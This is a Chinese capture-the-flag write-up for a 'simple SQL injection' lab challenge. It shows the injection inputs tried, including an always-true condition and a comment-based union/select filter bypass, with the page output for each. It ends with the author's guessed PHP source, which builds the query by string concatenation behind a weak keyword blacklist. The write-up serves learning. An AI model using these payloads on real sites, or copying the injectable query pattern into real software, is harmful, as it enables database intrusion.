实验吧 简单的sql注入

原题地址:http://www.shiyanbar.com/ctf/1875

测试网页:http://ctf5.shiyanbar.com/423/web/

名字虽然是简单的sql注入,但是其猜测并没有那么简单

首先查看id=1'发现报错,说明存在sql注入,然后id=abcd,发现并没有报错,判断这里需要的应该是一个字符串,而且是用'来截断。用id=' or 1='1可以知道表里面只有:

ID: ' or 1='1
name: baloteli

ID: ' or 1='1
name: kanawaluo

ID: ' or 1='1
name: dengdeng

然后猜字段id=' union select '1,却发现结果是这样子的:

ID: ' '1
name: baloteli

所以猜测sql语句应该是被过滤成了select name from web1 where id='' '1';。那么这个就有可能是过滤了union和select,也就是把内部的union、select替换成了空字符。

之后试了一下 id=' union/**/select/**/'1 推翻了我原来的想法,结果是:

ID: ' union/**/select/**/'1
name: 1

所以sql语句就是一个字段的,但是为什么union和select还可以用呢?然后继续测试id=' union/**/select/**/'signselect sign,结果是:

ID: ' union/**/select/**/'signsign
name: signsign

所以说,这里只是把select之类的关键字和后面加一个空格的字符替换成了空字符,源码应该是这样的:

<?php

$pattern='select |from |union |where '; //可能没写全

if(isset($_GET['id']))
{
    $id=preg_replace($pattern, '',$_GET['id']);

    $sql="select name where id='".$id."'";
    $result=$conn->querry($sql);

    while( $row = mysqli_fetch_assoc( $result ) ) 
    {
        
        $name = $row["name"];

        echo "<pre>ID: ".$id."<br>name: ".$name."</pre>";
    } 
}
?>

猜出源码之后,sql注入就变得很简单了。